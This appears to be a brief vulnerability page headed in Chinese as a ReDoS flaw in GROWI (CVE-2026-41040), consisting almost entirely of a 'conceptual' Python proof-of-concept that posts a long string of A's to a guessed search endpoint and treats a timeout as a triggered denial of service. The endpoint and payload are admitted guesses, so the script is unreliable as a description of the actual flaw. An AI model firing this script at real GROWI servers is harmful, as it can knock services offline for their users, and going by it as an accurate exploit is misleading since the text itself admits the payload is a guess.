CVE-2026-41040 GROWI正则表达式拒绝服务漏洞

# PoC for ReDoS in GROWI (Conceptual) # This script sends a payload that may trigger catastrophic backtracking. import requests target_url = "http://<target-growi-url>/api/search" # Example endpoint # A common pattern causing ReDoS involves nested quantifiers or complex alternation # Adjust the payload based on the specific vulnerable regex in GROWI malicious_payload = { "query": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!" # Or a more complex string like (a+)+ if the regex allows } try: print("Sending malicious payload...") response = requests.post(target_url, data=malicious_payload, timeout=5) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("Potential DoS triggered: Server timed out responding to request.") except requests.exceptions.ConnectionError: print("Connection failed: Server may have crashed.") except Exception as e: print(f"An error occurred: {e}")